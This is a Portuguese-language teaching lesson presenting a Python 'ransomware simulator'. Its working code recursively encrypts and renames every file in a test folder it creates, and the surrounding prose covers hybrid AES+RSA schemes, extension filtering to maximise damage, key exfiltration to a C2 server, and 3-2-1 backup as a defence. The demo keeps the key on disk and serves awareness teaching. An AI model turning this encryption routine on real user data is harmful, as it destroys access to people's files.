Criptografa uma pasta de teste para demonstrar o impacto de um ataque (e a importância do backup).
Contexto
O Ransomware é um dos tipos de malware mais devastadores da atualidade. Ele funciona sequestrando os dados do usuário através de criptografia forte e exigindo um resgate para a chave de descriptografia.
O objetivo deste simulador é demonstrar:
- Velocidade de Ataque: O quão rápido um script simples pode inutilizar milhares de documentos.
- Impacto Visual: Como a mudança de extensões e a perda de acesso geram urgência.
- Importância do Backup: Provar que, sem a chave (ou um backup offline), a recuperação dos dados é matematicamente inviável.
Possibilidades de Implementação
- Criptografia Simétrica (Fernet): Utiliza a biblioteca
cryptography. É o método mais comum em simuladores por ser robusto e fácil de implementar. A mesma chave que criptografa, descriptografa. - Criptografia Híbrida (AES + RSA): O padrão de malwares reais. Os arquivos são cifrados com AES (rápido) e a chave AES é cifrada com uma chave pública RSA (seguro), garantindo que apenas o dono da chave privada possa liberar os dados.
- Recursividade: O script varre subpastas e filtra apenas extensões específicas (ex:
.docx,.pdf,.jpg) para maximizar o dano em documentos de valor.
Código
Utilizaremos a biblioteca cryptography, que é o padrão moderno para segurança em Python.
Requisito: pip install cryptography
import os
from cryptography.fernet import Fernet
def generate_and_save_key():
"""Gera uma chave de criptografia e a salva localmente."""
key = Fernet.generate_key()
with open("secret.key", "wb") as key_file:
key_file.write(key)
return key
def encrypt_folder(target_dir, key):
"""Criptografa todos os arquivos na pasta alvo."""
f = Fernet(key)
print(f"[*] Iniciando simulação em: {target_dir}")
for root, dirs, files in os.walk(target_dir):
for file in files:
# Evita criptografar a própria chave ou o script
if file == "secret.key" or file.endswith(".py"):
continue
file_path = os.path.join(root, file)
# Lê o conteúdo original
with open(file_path, "rb") as original_file:
data = original_file.read()
# Criptografa os dados
encrypted_data = f.encrypt(data)
# Sobrescreve o arquivo e altera a extensão
with open(file_path, "wb") as encrypted_file:
encrypted_file.write(encrypted_data)
os.rename(file_path, file_path + ".LOCKED")
print(f"[!] Arquivo sequestrado: {file}")
def main():
print("=" * 60)
print("Módulo: Ransomware Simulator | Projeto: 30 Lessons")
print("=" * 60)
# DEFINA UMA PASTA DE TESTE SEGURA
target_folder = "./pasta_de_teste"
if not os.path.exists(target_folder):
os.makedirs(target_folder)
with open(f"{target_folder}/doc1.txt", "w") as f: f.write("Dados sensíveis da empresa.")
with open(f"{target_folder}/planilha.csv", "w") as f: f.write("financeiro,1000,lucro")
print("[*] Pasta de teste criada com arquivos fictícios.")
input(f"\n[ATENÇÃO] Isso irá criptografar TUDO em '{target_folder}'.\nPressione ENTER para continuar ou Ctrl+C para abortar...")
key = generate_and_save_key()
encrypt_folder(target_folder, key)
print("\n" + "=" * 60)
print("[!] SIMULAÇÃO CONCLUÍDA.")
print("[!] Chave de descriptografia salva em 'secret.key'.")
print("[!] Sem esta chave, seus dados estariam perdidos para sempre.")
if __name__ == "__main__":
main()
Observações
- Irreversibilidade: Em um ataque real, o atacante nunca deixaria a
secret.keyno disco da vítima. Ela seria enviada para um servidor C2 (Command & Control) e apagada do alvo. - Extensões de Arquivo: A alteração para
.LOCKED(ou similares como.wannacry) é uma tática de guerra psicológica para informar ao usuário que o sistema foi comprometido. - Defesa e Prevenção: Explique que a melhor defesa não é apenas o antivírus, mas a arquitetura de Backup 3-2-1 (3 cópias, 2 mídias diferentes, 1 offline) e o princípio do Privilégio Mínimo para impedir que um processo do usuário tenha acesso de escrita em toda a rede.